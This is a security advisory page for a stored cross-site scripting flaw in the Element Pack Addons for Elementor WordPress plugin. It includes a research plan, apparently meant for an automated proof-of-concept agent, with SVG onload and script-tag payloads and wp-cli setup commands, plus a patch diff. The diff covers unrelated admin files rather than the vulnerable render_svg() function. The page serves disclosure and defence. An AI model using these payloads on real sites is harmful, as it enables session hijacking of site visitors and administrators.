CVE-2026-4655

Element Pack Addons for Elementor <= 8.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via SVG Image Widget

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
8.5.0
Patched in
1d
Time to patch

Description

The Element Pack Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the SVG Image Widget in versions up to and including 8.4.2. This is due to insufficient input sanitization and output escaping on SVG content fetched from remote URLs in the render_svg() function. The function fetches SVG content using wp_safe_remote_get() and then directly echoes it to the page without any sanitization, only applying a preg_replace() to add attributes to the SVG tag which does not remove malicious event handlers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary JavaScript in SVG files that will execute whenever a user accesses a page containing the malicious widget.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.4.2
PublishedApril 7, 2026
Last updatedApril 8, 2026

What Changed in the Fix

Changes introduced in v8.5.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Addons for Elementor plugin. ### 1. Vulnerability Summary The **Element Pack Addons for Elementor** plugin (up to version 8.4.2) contains a Stored XSS vulnerability …

Show full research plan

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Addons for Elementor plugin.

1. Vulnerability Summary

The Element Pack Addons for Elementor plugin (up to version 8.4.2) contains a Stored XSS vulnerability in its "SVG Image Widget". The widget allows users to provide a remote URL to an SVG file. The plugin fetches the SVG content via wp_safe_remote_get() and renders it directly onto the page. While it attempts to use preg_replace() to inject attributes into the <svg> tag, it fails to sanitize the SVG content for malicious event handlers (like onload or onclick) or <script> tags embedded within the XML structure of the SVG.

2. Attack Vector Analysis

  • Endpoint: WordPress Frontend (via Elementor-rendered page).
  • Vulnerable Widget: SVG Image Widget (Widget ID: bdt-svg-image - inferred from plugin naming conventions).
  • Vulnerable Function: render_svg() (located in the widget class).
  • Payload Parameter: The svg_url (or similarly named) setting within the Elementor widget configuration.
  • Authentication Level: Contributor or higher. Contributors can create and edit posts/pages using Elementor.
  • Precondition: The attacker must be able to host a malicious SVG file or use a data URI (if permitted by wp_safe_remote_get(), though an external URL is the primary vector).

3. Code Flow

  1. Entry Point: A user with Contributor+ permissions edits a post using Elementor and adds the "SVG Image" widget.
  2. Configuration: The user provides a URL to a malicious SVG in the widget settings (saved to _elementor_data post meta).
  3. Frontend Rendering: When a victim views the post:
    • Elementor triggers the render() method of the bdt-svg-image widget.
    • The render() method calls render_svg().
    • render_svg() retrieves the URL from settings and executes wp_safe_remote_get($url).
    • The raw body of the response (the SVG XML) is stored in a variable.
    • A preg_replace() is applied to the <svg tag to add classes or IDs, but no sanitization (like wp_kses() or a dedicated SVG sanitizer) is performed on the rest of the XML.
    • Sink: The unsanitized SVG content is echo-ed directly into the HTML response.

4. Nonce Acquisition Strategy

While Elementor uses nonces for saving content (elementor_ajax action), this is a Stored XSS vulnerability. The most efficient PoC methodology in an automated environment is to bypass the complex Elementor UI/API and inject the malicious payload directly into the database using wp-cli, then verify the output via a simple GET request.

If the agent must perform the exploitation via the HTTP API:

  1. Navigate to the Elementor Editor for a specific post.
  2. The elementor_ajax nonce is usually localized in the elementorCommonConfig object.
  3. JS Variable: window.elementorCommonConfig?.ajax?.nonce or window.elementor?.config?.ajax?.nonce.

5. Exploitation Strategy

  1. Host Malicious SVG: Create a file named xss.svg with the following content:
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert('CVE-2026-4655_XSS')"></svg>
    
  2. Setup Target Post: Create a post and set the _elementor_data meta to include the vulnerable widget pointing to the hosted SVG.
  3. Trigger: Access the post URL as an unauthenticated visitor or admin.

6. Test Data Setup

The PoC agent should execute the following commands:

# 1. Create a Contributor user
wp user create attacker attacker@example.com --role=contributor --user_pass=password123

# 2. Create a post to hold the XSS
POST_ID=$(wp post create --post_type=page --post_title="SVG XSS Test" --post_status=publish --user=attacker --porcelain)

# 3. Define the Elementor JSON structure for the SVG Image widget
# Note: "bdt-svg-image" is the likely widget ID for Element Pack's SVG Image.
# The URL should point to a location reachable by the WordPress server.
# Using a local path if the plugin allows it, or a mock URL.
MALICIOUS_SVG_URL="http://localhost/xss.svg"

ELEMENTOR_DATA='[{"id":"exploit-id","elType":"widget","settings":{"svg_url":"'$MALICIOUS_SVG_URL'"},"widgetType":"bdt-svg-image"}]'

# 4. Inject the payload into post meta
wp post meta update $POST_ID _elementor_data "$ELEMENTOR_DATA"
wp post meta update $POST_ID _elementor_edit_mode "builder"

# 5. Create the malicious SVG file in the web root
echo '<svg xmlns="http://www.w3.org/2000/svg" onload="console.log(\"XSS_TRIGGERED\"),alert(document.domain)"></svg>' > /var/www/html/xss.svg

7. Expected Results

  1. When the http_request tool fetches the URL of the created post (/?p=$POST_ID), the response body should contain:
    <svg xmlns="http://www.w3.org/2000/svg" onload="console.log("XSS_TRIGGERED"),alert(document.domain)"></svg>
    
  2. The onload attribute will remain intact despite the preg_replace logic in render_svg().
  3. In a browser context, the alert box would trigger, and the console would log XSS_TRIGGERED.

8. Verification Steps

After the HTTP request, verify the sink via CLI:

# Check if the output is being rendered in the post content
curl -s "http://localhost/?p=$POST_ID" | grep "XSS_TRIGGERED"

9. Alternative Approaches

  • Remote Fetching: If wp_safe_remote_get() blocks localhost, use a service like bin.org or a dedicated mock server provided by the environment.
  • Attribute Breakout: If the plugin somehow strips onload, try <svg><script>alert(1)</script></svg> or using onmouseover / onfocus event handlers.
  • Data URI: Test if the svg_url setting accepts data:image/svg+xml;base64,.... This would remove the need for external hosting.
  • Parameter Identification: If svg_url is incorrect, search the plugin folder for the render_svg function to find the exact setting name:
    grep -r "render_svg" wp-content/plugins/bdthemes-element-pack-lite/
    Then find the $this->get_settings('SETTING_NAME') call within that file.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Element Pack Addons for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the SVG Image Widget. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript by providing a remote URL to a malicious SVG file, which the plugin fetches and renders without proper sanitization.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/bdthemes-element-pack-lite/8.4.2/admin/admin-api-biggopti.php /home/deploy/wp-safety.org/data/plugin-versions/bdthemes-element-pack-lite/8.5.0/admin/admin-api-biggopti.php
--- /home/deploy/wp-safety.org/data/plugin-versions/bdthemes-element-pack-lite/8.4.2/admin/admin-api-biggopti.php	2026-03-01 10:37:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/bdthemes-element-pack-lite/8.5.0/admin/admin-api-biggopti.php	2026-03-30 05:19:30.000000000 +0000
@@ -17,13 +17,13 @@
 	}
 
 	public function __construct() {
-		add_action('wp_ajax_bdt_admin_api_biggopti_dismiss', [$this, 'bdt_admin_api_biggopti_dismiss']);
+		add_action('wp_ajax_ep_admin_api_biggopti_dismiss', [$this, 'ep_admin_api_biggopti_dismiss']);
 	}
 
 	/**
 	 * Dismiss Admin API Biggopti.
 	 */
-	public function bdt_admin_api_biggopti_dismiss() {
+	public function ep_admin_api_biggopti_dismiss() {
 		$nonce = (isset($_POST['_wpnonce'])) ? sanitize_text_field($_POST['_wpnonce']) : '';
 		$display_id = (isset($_POST['display_id'])) ? sanitize_text_field($_POST['display_id']) : '';
 		$id   = (isset($_POST['id'])) ? esc_attr($_POST['id']) : '';
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/bdthemes-element-pack-lite/8.4.2/admin/admin-feeds.php /home/deploy/wp-safety.org/data/plugin-versions/bdthemes-element-pack-lite/8.5.0/admin/admin-feeds.php
--- /home/deploy/wp-safety.org/data/plugin-versions/bdthemes-element-pack-lite/8.4.2/admin/admin-feeds.php	2026-03-01 10:37:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/bdthemes-element-pack-lite/8.5.0/admin/admin-feeds.php	2026-03-30 05:19:30.000000000 +0000
@@ -68,7 +68,7 @@
 					<p>
 						<?php echo wp_kses_post( wp_trim_words( wp_strip_all_tags( $feed->content ), 50 ) ); ?>
 						<a href="<?php echo esc_url( $feed->demo_link ); ?>" target="_blank">
-							<?php esc_html_e( 'Learn more...', 'bdthemes-element-pack' ); ?>
+							<?php esc_html_e( 'Learn more...', $this->settings['text_domain'] ); ?>
 						</a>
 					</p>
 				</div>
@@ -130,7 +130,7 @@
 			$rss = fetch_feed( $this->settings['feed_link'] );
 
 			if ( is_wp_error( $rss ) ) {
-				return '<li>' . esc_html__( 'Items Not Found', 'bdthemes-element-pack' ) . '.</li>';
+				return '<li>' . esc_html__( 'Items Not Found', $this->settings['text_domain'] ) . '.</li>';
 			}
 
 			$maxitems  = $rss->get_item_quantity( 5 );
@@ -154,21 +154,24 @@
 
 		ob_start();
 		?>
-t	<div class="rss-widget">
+		<div class="bdt-widget">
 			<ul>
 				<?php if ( empty( $rss_items ) ) : ?>
-					<li><?php esc_html_e( 'Items Not Found', 'bdthemes-element-pack' ); ?>.</li>
+					<li><?php esc_html_e( 'Items Not Found', $this->settings['text_domain'] ); ?>.</li>
 				<?php else : ?>
 					<?php foreach ( $rss_items as $item ) : ?>
 						<li>
 							<a target="_blank" href="<?php echo esc_url( $item['link'] ); ?>"
 								title="<?php echo esc_html( $item['date'] ); ?>">
+								<?php if ( $this->is_feed_item_new( $item['date'] ) ) : ?>
+									<span class="bdt-feed-badge bdt-feed-badge--new"><?php esc_html_e( 'New', $this->settings['text_domain'] ); ?></span>
+								<?php endif; ?>
 								<?php echo esc_html( $item['title'] ); ?>
 							</a>
-							<span class="rss-date" style="display: block; margin: 0;">
-								<?php echo esc_html( human_time_diff( $item['date'], current_time( 'timestamp' ) ) . ' ' . __( 'ago', 'bdthemes-element-pack' ) ); ?>
+							<span class="bdt-date" style="display: block; margin: 0;">
+								<?php echo esc_html( human_time_diff( $item['date'], current_time( 'timestamp' ) ) . ' ' . __( 'ago', $this->settings['text_domain'] ) ); ?>
 							</span>
-							<div class="rss-summary">
+							<div class="bdt-summary">
 								<?php echo esc_html( wp_html_excerpt( $item['content'], 120 ) . ' [...]' ); ?>
 							</div>
 						</li>

Exploit Outline

The exploit is achieved by performing the following steps: 1. An attacker with Contributor-level permissions hosts a malicious SVG file on a remote server. The SVG contains a JavaScript payload (e.g., using an 'onload' attribute like <svg onload='alert(1)'>). 2. The attacker creates or edits a post/page using the Elementor editor and inserts the 'SVG Image' widget (bdt-svg-image). 3. Within the widget settings, the attacker provides the URL of the hosted malicious SVG file. 4. The plugin's rendering logic calls render_svg(), which uses wp_safe_remote_get() to fetch the SVG content and echoes it directly to the page without sanitization. 5. When a victim (such as an administrator) views the page, the malicious script executes within their browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.